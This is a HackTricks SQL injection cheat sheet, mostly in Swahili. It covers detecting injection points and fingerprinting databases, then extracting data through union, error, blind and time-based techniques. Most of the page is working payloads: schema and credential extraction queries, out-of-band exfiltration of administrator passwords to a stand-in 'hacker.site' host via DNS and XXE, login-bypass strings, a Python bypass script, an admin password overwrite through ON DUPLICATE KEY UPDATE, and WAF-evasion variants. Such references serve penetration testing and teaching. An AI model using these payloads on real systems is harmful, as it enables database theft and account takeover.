SQL Injection

Reading time: 21 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

SQL injection ni nini?

An SQL injection ni hitilafu ya usalama inayomruhusu washambuliaji kuingilia maswali ya database ya programu. Udhaifu huu unaweza kuwapa washambuliaji uwezo wa kuona, kubadilisha, au kufuta data ambazo hawastahili kufikia, ikiwa ni pamoja na taarifa za watumiaji wengine au data yoyote ambayo programu inaweza kufikia. Vitendo hivyo vinaweza kusababisha mabadiliko ya kudumu kwenye utendaji au maudhui ya programu au hata kuathiriwa kwa server au denial of service.

Kugundua vituo vya kuingia

Wakati tovuti inaonekana kuwa dhaifu kwa SQL injection (SQLi) kutokana na majibu yasiyo ya kawaida ya server kwa input zinazohusiana na SQLi, hatua ya kwanza ni kuelewa jinsi ya kuingiza data katika query bila kuisumbua. Hii inahitaji kubaini njia ya kutoroka kutoka kwenye context ya sasa kwa ufanisi. Hizi ni baadhi ya mifano muhimu:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Kisha, unahitaji kujua jinsi ya kurekebisha query ili isiwe na makosa. Ili kurekebisha query unaweza kuingiza data ili query ya awali ikubali data mpya, au unaweza tu kuingiza data yako na kuongeza alama ya comment mwishoni.

Kumbuka kwamba ikiwa unaweza kuona ujumbe wa makosa au kutambua tofauti wakati query inafanya kazi na wakati haifanyi kazi, hatua hii itakuwa rahisi zaidi.

Comments

sql
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Kuhakikisha kwa logical operations

Mbinu yenye kuaminika ya kuthibitisha udhaifu wa SQL injection ni kutekeleza logical operation na kuangalia matokeo yanayotarajiwa. Kwa mfano, parameter ya GET kama ?username=Peter kutoa maudhui sawa inapobadilishwa kuwa ?username=Peter' or '1'='1 inaonyesha kuwepo kwa udhaifu wa SQL injection.

Vivyo hivyo, matumizi ya mathematical operations hutumika kama mbinu ya uthibitisho yenye ufanisi. Kwa mfano, ikiwa kupata ?id=1 na ?id=2-1 kunatoa matokeo sawa, hiyo inaashiria SQL injection.

Mifano inayoonyesha uthibitisho wa logical operation:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Orodha ya maneno hii ilitengenezwa kujaribu kuthibitisha SQLinjections kwa njia iliyopendekezwa:

SQLi ya kweli ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

Kuhakiki kwa Muda

Katika baadhi ya matukio hautagundua mabadiliko yoyote kwenye ukurasa unaojaribu. Kwa hivyo, njia nzuri ya gundua blind SQL injections ni kumfanya DB ifanye vitendo vitakavyokuwa na athari kwa muda unaohitajika ukurasa kupakia.
Kwa hivyo, tutafanya concat kwenye SQL query operesheni itakayochukua muda mrefu kukamilika:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Katika baadhi ya matukio, sleep functions hazitaruhusiwa. Kisha, badala ya kutumia functions hizo unaweza kufanya query ifanye operesheni tata ambazo zitachukua sekunde kadhaa. Mifano ya techniques hizi yataelezewa kando kwa kila teknolojia (ikiwa ipo).

Kutambua Back-end

Njia bora ya kutambua back-end ni kujaribu kutekeleza functions za back-end tofauti. Unaweza kutumia sleep functions za sehemu iliyopita au hizi (jedwali kutoka kwa payloadsallthethings:

bash
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Pia, ikiwa una ufikiaji wa matokeo ya query, unaweza kuifanya ianze kuonyesha toleo la database.

tip

Kwa kuendelea tutajadili mbinu tofauti za kutumia aina mbalimbali za SQL Injection. Tutatumia MySQL kama mfano.

Kutambua na PortSwigger

SQL injection cheat sheet | Web Security Academy

Exploiting Union Based

Kugundua idadi ya safu

Ikiwa unaweza kuona matokeo ya query hii ni njia bora ya kuitumia.
Kwanza kabisa, tunahitaji kubaini idadi ya safu ambazo ombi la awali linarejesha. Hii ni kwa sababu query zote mbili lazima zirejeshe idadi sawa ya safu.
Njia mbili kawaida hutumiwa kwa madhumuni haya:

Order/Group by

Ili kubaini idadi ya safu katika query, badilisha kwa hatua namba inayotumika katika vifungu vya ORDER BY au GROUP BY hadi upoke jibu la uwongo. Licha ya tofauti za kazi za GROUP BY na ORDER BY ndani ya SQL, zote zinaweza kutumika kwa njia ile ile kubaini idadi ya safu za query.

sql
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
sql
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Select null values zaidi na zaidi hadi query iwe sahihi:

sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Unapaswa kutumia nullvalues kwani katika baadhi ya kesi aina ya safu (columns) za pande zote za query lazima ziwe sawa na null inakubalika katika kila kesi.

Chota majina ya hifadhidata, majina ya jedwali na majina ya safu

Katika mifano ifuatayo tutachukua majina ya hifadhidata zote, jina la jedwali la hifadhidata, majina ya safu za jedwali:

sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Kuna njia tofauti za kugundua data hii kwa kila hifadhidata tofauti, lakini daima ni methodology ile ile.

Exploiting Hidden Union Based

Wakati matokeo ya query yanaonekana, lakini union-based injection inaonekana isiwezekane, hiyo inaashiria uwepo wa hidden union-based injection. Hali hii mara nyingi husababisha mazingira ya blind injection. Ili kubadilisha blind injection kuwa union-based, inahitajika kugundua execution query kwenye backend.

Hii inaweza kufanikiwa kwa kutumia blind injection techniques pamoja na default tables maalum za target Database Management System (DBMS) yako. Kwa kuelewa default tables hizi, inashauriwa kushauriana na nyaraka za DBMS ya lengo.

Mara query inapotokolewa, inabidi urekebishe payload yako ili kufunga kwa usalama query ya awali. Baadaye, union query inaambatishwa kwenye payload yako, ikirahisisha exploitation ya union-based injection ambayo sasa inapatikana.

Kwa uelewa wa kina zaidi, rejea makala kamili iliyopo kwa Healing Blind Injections.

Exploiting Error based

Ili kwa sababu fulani huna uwezo wa kuona output ya query lakini unaweza kuona error messages, unaweza kutumia error messages hizi ku-ex-filtrate data kutoka kwenye database.
Kwa kufuata mtiririko unaofanana na ule wa Union Based exploitation unaweza kufanikiwa dump DB.

sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Exploiting Blind SQLi

Katika kesi hii huwezi kuona matokeo ya query au makosa, lakini unaweza kubaini wakati query inarejesha majibu ya true au false kwa sababu kuna maudhui tofauti kwenye ukurasa.
Katika kesi hii, unaweza kutumia tabia hiyo kutoa database herufi kwa herufi:

sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

Hii ni kesi ile ile kama hapo awali lakini badala ya kutofautisha kati ya jibu la true/false kutoka kwenye query, unaweza kutofautisha kati ya error kwenye SQL query au la (labda kwa sababu HTTP server inabomoka). Kwa hivyo, katika kesi hii unaweza kulazimisha SQLerror kila mara unapo makisia char kwa usahihi:

sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Kutumia Time Based SQLi

Katika kesi hii hakuna njia yoyote ya kutofautisha jibu la query kulingana na muktadha wa ukurasa. Lakini unaweza kufanya ukurasa uchukue muda mrefu zaidi wa kupakia ikiwa herufi iliyokadiriwa ni sahihi. Tayari tumeona mbinu hii ikitumika hapo awali ili confirm a SQLi vuln.

sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Unaweza kutumia stacked queries kutekeleza queries nyingi mfululizo. Kumbuka kwamba wakati queries zinazofuata zinapotekelezwa, matokeo hayarejeshwi kwa application. Kwa hiyo mbinu hii inatumika hasa kwa blind vulnerabilities ambapo unaweza kutumia query ya pili kusababisha DNS lookup, kosa la masharti, au ucheleweshaji wa muda.

Oracle haina msaada wa stacked queries. MySQL, Microsoft na PostgreSQL zinaunga mkono: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Ikiwa hakuna njia nyingine ya exploitation iliyofanya kazi, unaweza kujaribu kufanya database ex-filtrate taarifa kwa external host unayedhibiti. Kwa mfano, kupitia DNS queries:

sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Utolewaji wa data nje ya njia kupitia XXE

sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Utekelezaji wa kiotomatiki

Angalia SQLMap Cheatsheet ili kutumia udhaifu wa SQLi kwa kutumia sqlmap.

Maelezo maalum ya teknolojia

Tayari tumeshazungumzia njia zote za kutumia udhaifu wa SQL Injection. Pata mbinu zaidi zinazotegemea teknolojia za hifadhidata katika kitabu hiki:

Au utapata mbinu nyingi kuhusu: MySQL, PostgreSQL, Oracle, MSSQL, SQLite na HQL katika https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Kupitisha uthibitisho

Orodha ya njia za kujaribu kupitisha fomu ya kuingia:

Login bypass List

Raw hash authentication Bypass

sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Hoja hii inaonyesha udhaifu wakati MD5 inatumiwa na true kwa raw output katika ukaguzi wa uthibitishaji, na kufanya mfumo uweze kuathirika na SQL injection. Wadukuzi wanaweza kutumia hili kwa kutengeneza maingizo ambayo, zikichakatwa kwa hash, hutengeneza sehemu zisizotarajiwa za amri za SQL, na kusababisha upatikanaji usioidhinishwa.

sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Imeingizwa hash authentication Bypass

sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Orodha iliyopendekezwa:

Unapaswa kutumia kama username kila mstari wa orodha na kama password kila wakati: Pass1234.
(payloads hizi pia ziko katika orodha kubwa iliyotajwa mwanzoni mwa sehemu hii)

GBK Authentication Bypass

Ikiwa ' inafanyiwa escape unaweza kutumia %A8%27, na wakati ' inapofanyiwa escape itaundwa: 0xA80x5c0x27 (╘')

sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Skripti ya Python:

python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modify password of existing object/user

Ili kufanya hivyo unapaswa kujaribu kuunda object mpya yenye jina la "master object" (labda admin kwa watumiaji) kwa kubadilisha kitu fulani:

  • Create user named: AdMIn (uppercase & lowercase letters)
  • Create a user named: admin=
  • SQL Truncation Attack (when there is some kind of length limit in the username or email) --> Create user with name: admin [a lot of spaces] a

SQL Truncation Attack

If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user admin, try to create a username called: "admin [30 spaces] a" and any password.

The database will check if the introduced username exists inside the database. If not, it will cut the username to the max allowed number of characters (in this case to: "admin [25 spaces]") and the it will automatically remove all the spaces at the end updating inside the database the user "admin" with the new password (some error could appear but it doesn't means that this hasn't worked).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Kumbuka: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Add as much ','','' as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection.

sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Klausu ya ON DUPLICATE KEY UPDATE katika MySQL hutumika kuainisha hatua ambazo database itachukua wakati inapojaribu kuingiza safu ambayo ingesababisha thamani rudufu katika index ya UNIQUE au PRIMARY KEY. Mfano ufuatao unaonyesha jinsi kipengele hiki kinaweza kutumika kubadilisha nywila ya akaunti ya msimamizi:

Mfano Payload Injection:

Inawezekana injection payload itatengenezwa kama ifuatavyo, ambapo mistari miwili inajaribiwa kuingizwa kwenye jedwali la users. Safu ya kwanza ni decoy, na safu ya pili inalenga barua pepe ya msimamizi aliyepo kwa lengo la kubadilisha nywila:

sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Hivi ndivyo inavyofanya kazi:

  • The query attempts to insert two rows: one for generic_user@example.com and another for admin_generic@example.com.
  • Iwapo rekodi ya admin_generic@example.com tayari ipo, kifungu cha ON DUPLICATE KEY UPDATE kinachotumika, kikimtaka MySQL kusasisha uwanja wa password wa rekodi iliyopo hadi "bcrypt_hash_of_newpassword".
  • Kwa sababu hiyo, authentication inaweza kisha kujaribiwa kwa kutumia admin_generic@example.com na nenosiri linalolingana na bcrypt hash ("bcrypt_hash_of_newpassword" inawakilisha bcrypt hash ya nenosiri jipya, ambalo linapaswa kubadilishwa na hash halisi ya nenosiri unayotaka).

Pata taarifa

Kuunda 2 akaunti kwa wakati mmoja

Unapojaribu kuunda mtumiaji mpya, jina la mtumiaji, nenosiri na email zinahitajika:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Kutumia desimali au hexadesimali

Kwa mbinu hii unaweza kupata taarifa kwa kuunda akaunti 1 tu. Ni muhimu kutambua kwamba huna haja ya kuandika maoni yoyote.

Kutumia hex2dec na substr:

sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Ili kupata maandishi, unaweza kutumia:

python
__import__('binascii').unhexlify(hex(215573607263)[2:])

Kutumia hex na replace (na substr):

sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection ni hali ambapo injectable query si ile ambayo hutoa output, bali output ya injectable query inaenda kwa query nyingine ambayo hutoa output. (From Paper)

Mfano:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - bypass kwa kutumia mbadala za whitespace

sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass kwa kutumia comments

sql
?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass kwa kutumia mabano

sql
?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass kwa kutumia OFFSET, FROM na JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Mabypass ya Jumla

Blacklist kwa kutumia maneno muhimu - bypass kwa kutumia herufi kubwa/herufi ndogo

sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Kuzuia kwa kutumia maneno muhimu bila kujali herufi - kupitisha kwa kutumia operator sawa

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Notesheni ya kisayansi WAF bypass

Unaweza kupata maelezo ya kina zaidi kuhusu mbinu hii kwenye gosecure blog.
Kimsingi unaweza kutumia notesheni ya kisayansi kwa njia zisizotarajiwa ili WAF i-bypass:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Kuepuka Kizuizi cha Majina ya Safu

Kwanza kabisa, kumbuka kwamba ikiwa query ya awali na jedwali ambalo unataka kutoa flag kutoka vina idadi sawa ya safu unaweza tu kufanya: 0 UNION SELECT * FROM flag

Inawezekana kupata safu ya tatu ya jedwali bila kutumia jina lake kwa kutumia query kama ifuatavyo: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, hivyo katika sqlinjection hii itakuwa kama:

bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Au kutumia comma bypass:

bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Triki hii ilichukuliwa kutoka https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

Ikiwa input ya mtumiaji inachanganywa katika SELECT list au table/column identifiers, prepared statements hazitasaidia kwa sababu bind parameters hulinda tu values, si identifiers. Mfano wa kawaida wa muundo wenye udhaifu ni:

php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

Wazo la exploitation: inject a subquery kwenye field position ili exfiltrate arbitrary data:

sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

Maelezo:

  • Hii inafanya kazi hata wakati WHERE clause inatumia bound parameter, kwa sababu identifier list bado ime-string-concatenated.
  • Baadhi ya stacks pia zinakuwezesha kudhibiti table name (tablename injection), kuruhusu cross-table reads.
  • Output sinks zinaweza kuonyesha selected value ndani ya HTML/JSON, kuruhusu XSS au token exfiltration moja kwa moja kutoka kwa response.

Mikakati ya kupunguza:

  • Usiwahi concatenate identifiers kutoka kwa ingizo la mtumiaji. Ramikisha allowed column names kwenye fixed allow-list na quote identifiers ipasavyo.
  • Ikiwa dynamic table access inahitajika, izuie kwa seti ya finit na utatue server-side kutoka kwa safe mapping.

WAF bypass suggester tools

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

Miongozo Mingine

Brute-Force Detection List

Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks